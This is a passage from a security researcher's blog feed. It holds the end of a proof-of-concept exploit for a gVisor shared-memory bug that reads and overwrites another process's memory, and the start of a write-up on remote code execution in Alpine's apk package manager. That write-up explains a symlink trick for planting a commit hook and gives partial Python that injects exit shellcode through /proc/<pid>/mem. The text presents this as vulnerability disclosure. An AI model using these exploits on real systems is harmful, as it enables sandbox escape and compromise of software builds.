    &lt;span class=&quot;n&quot;&gt;execl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/usr/bin/python3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;python&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;x = 'OOPS'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                                              &lt;span class=&quot;s&quot;&gt;&quot;while True:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                                                &lt;span class=&quot;s&quot;&gt;&quot;x += 'OOPS'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                                                &lt;span class=&quot;s&quot;&gt;&quot;if 'A' in x:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                                                  &lt;span class=&quot;s&quot;&gt;&quot;print('&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n***Other process: memory was overwritten***')&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\t\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                                                  &lt;span class=&quot;s&quot;&gt;&quot;exit(0)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Create a readable, writable shared memory region
&lt;/span&gt;  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SHMKEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHMSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IPC_CREAT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Map that shared memory into our virtual address space
&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shmm addr: %p&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Decreasing refcount&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Trigger our bug by releasing the platform memory backing the shared memory
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;shmctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IPC_RMID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;shmctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IPC_RMID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Give the Python process some time to use up memory
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Allocation from another process:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Print out some bytes from the page, which has probably been allocated to
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// the Python process's big string
&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1B&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[32m&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%02X &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1B&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[0m&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fflush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Demonstrate that we can overwrite the other process's memory. The other
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// process should exit once it detects that we've overwritten part of the
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// string with 0x41
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHMSIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Sleep for a couple seconds so that we don't instantly panic
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// When the process exits, the kernel will attempt to DecRef an object whose
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// refcount is already negative, so it panics.
&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Time to panic...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;gVisor is a well-written but incredibly ambitious project; reimplementing the Linux kernel is hard. I’ve been thinking about some ways that one could detect and mitigate against this class of bug. Perhaps when a memory region is &lt;code class=&quot;highlighter-rouge&quot;&gt;DecRef()&lt;/code&gt;ed to &lt;code class=&quot;highlighter-rouge&quot;&gt;0&lt;/code&gt;, the kernel could check that it doesn’t exist in any process’s virtual address space. I’m not sure if that would be too expensive.&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr gVisor is Google’s sandboxing technology for containers running less-than-fully-trusted code. It’s a Golang reimplementation of the Linux kernel that runs in userspace, intercepting container syscalls and limiting what touches the host kernel directly. I found an issue with gVisor’s shared memory implementation that allowed unprivileged processes in the sandbox to read and write the memory of other, more highly privileged processes in the sandbox, including those running as root.</summary></entry><entry><title type="html">Remote Code Execution in Alpine Linux</title><link href="/security/2018/09/13/alpine-apk-rce.html" rel="alternate" type="text/html" title="Remote Code Execution in Alpine Linux" /><published>2018-09-13T00:00:00-07:00</published><updated>2018-09-13T00:00:00-07:00</updated><id>/security/2018/09/13/alpine-apk-rce</id><content type="html" xml:base="/security/2018/09/13/alpine-apk-rce.html">&lt;p&gt;tl;dr I found several bugs in &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt;, the default package manager for Alpine Linux. Alpine is a really lightweight distro that is &lt;a href=&quot;https://github.com/search?l=Dockerfile&amp;amp;q=alpine+%22apk+add%22&amp;amp;type=Code&quot;&gt;very commonly used with Docker.&lt;/a&gt; The worst of these bugs, the subject of this blog post, allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code on the user’s machine. This is especially bad because packages aren’t served over TLS when using the default repositories. This bug &lt;a href=&quot;https://github.com/alpinelinux/apk-tools/commit/6484ed9849f03971eb48ee1fdc21a2f128247eb1&quot;&gt;has been fixed&lt;/a&gt; and the &lt;a href=&quot;https://github.com/docker-library/official-images/pull/4834&quot;&gt;Alpine base images have been updated&lt;/a&gt; – you may want to rebuild your Alpine-derived images!&lt;/p&gt;

&lt;p&gt;After gaining code execution, I figured out a cool way to make the original &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; process exit with a 0 exit code (without needing the &lt;code class=&quot;highlighter-rouge&quot;&gt;SYS_PTRACE&lt;/code&gt; capability) by writing to &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt;. The result is that a &lt;code class=&quot;highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; that installs packages with &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; can be exploited and still build successfully.&lt;/p&gt;

&lt;p&gt;Here’s a clip of me exploiting a Docker container based on Alpine as a network man-in-the-middle:&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/apkpoc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;h3 id=&quot;arbitrary-file-creation-leading-to-rce&quot;&gt;Arbitrary file creation leading to RCE&lt;/h3&gt;
&lt;p&gt;Alpine packages are distributed as &lt;code class=&quot;highlighter-rouge&quot;&gt;.apk&lt;/code&gt; files, which are actually just gzipped &lt;code class=&quot;highlighter-rouge&quot;&gt;tar&lt;/code&gt; files. When &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; is pulling packages, it extracts them into &lt;code class=&quot;highlighter-rouge&quot;&gt;/&lt;/code&gt; before checking that the hash matches what the signed manifest says it should be. Well, kind of – while extracting the archive, each file name and hardlink target is suffixed with &lt;code class=&quot;highlighter-rouge&quot;&gt;.apk-new&lt;/code&gt;. Later, when &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; realizes that the hash of the downloaded package is incorrect, it tries to unlink all of the extracted files and directories.&lt;/p&gt;

&lt;p&gt;Persistent arbitrary file writes can be easily turned into code execution because of &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt;’s “commit hooks” feature. If we can figure out a way to extract a file into &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/&lt;/code&gt; and have it stay there after the cleanup process, it will be executed before &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; exits.&lt;/p&gt;

&lt;p&gt;With control of the tar file being downloaded, we can create a persistent “commit hook” like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create a folder at &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/&lt;/code&gt;, which doesn’t exist by default. Extracted folders are not suffixed with &lt;code class=&quot;highlighter-rouge&quot;&gt;.apk-new&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Create a symlink to &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/x&lt;/code&gt; named anything – say, &lt;code class=&quot;highlighter-rouge&quot;&gt;link&lt;/code&gt;. This gets expanded to be called &lt;code class=&quot;highlighter-rouge&quot;&gt;link.apk-new&lt;/code&gt; but still points to &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/x&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Create a regular file named &lt;code class=&quot;highlighter-rouge&quot;&gt;link&lt;/code&gt; (which will also be expanded to &lt;code class=&quot;highlighter-rouge&quot;&gt;link.apk-new&lt;/code&gt;). This will write through the symlink and create a file at &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/x&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; realizes that the package’s hash doesn’t match the signed index, it will first unlink &lt;code class=&quot;highlighter-rouge&quot;&gt;link.apk-new&lt;/code&gt; – but &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/x&lt;/code&gt; will persist! It will then fail to unlink &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/apk/commit_hooks.d/&lt;/code&gt; with &lt;code class=&quot;highlighter-rouge&quot;&gt;ENOTEMPTY&lt;/code&gt; because the directory now contains our payload.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;fixing-the-exit-code&quot;&gt;Fixing the exit code&lt;/h3&gt;
&lt;p&gt;Now that we have arbitrary code running on the client before &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; has exited, it is important that we figure out a way to make the &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; process exit gracefully. If using &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; in a &lt;code class=&quot;highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; build step, the step will fail if &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; returns a nonzero exit code.&lt;/p&gt;

&lt;p&gt;If we do nothing, &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; will return an exit code equal to the number of packages it has failed to install, which is now at least one (amusingly, this value can overflow – if the &lt;code class=&quot;highlighter-rouge&quot;&gt;number of errors % 256 == 0&lt;/code&gt;, the process will return with exit code 0 and the build will succeed. &lt;a href=&quot;https://github.com/alpinelinux/apk-tools/commit/7b654e125461b00bc26e52b25e6a7be3a32c11b9&quot;&gt;This was fixed here.&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;My first attempt was to use &lt;code class=&quot;highlighter-rouge&quot;&gt;gdb&lt;/code&gt; to attach to the process and just call &lt;code class=&quot;highlighter-rouge&quot;&gt;exit(0)&lt;/code&gt;. Unfortunately, Docker containers don’t have the &lt;code class=&quot;highlighter-rouge&quot;&gt;SYS_PTRACE&lt;/code&gt; capability by default and so we can’t do this. Since we’re &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt;, however, we can read and write &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt; for the &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; process:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;re&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;check_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;pidof&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;apk&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\033&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[92mapk pid is {}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\033&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[0m&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;maps_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/proc/{}/maps&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'r'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mem_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/proc/{}/mem&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'w'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\033&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[92mEverything is fine! Please move along...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\033&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[0m&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;90&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# xor rdi, rdi ; mov eax, 0x3c ; syscall&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;4831ffb83c0000000f05&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# based on https://unix.stackexchange.com/a/6302&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;maps_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readlines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
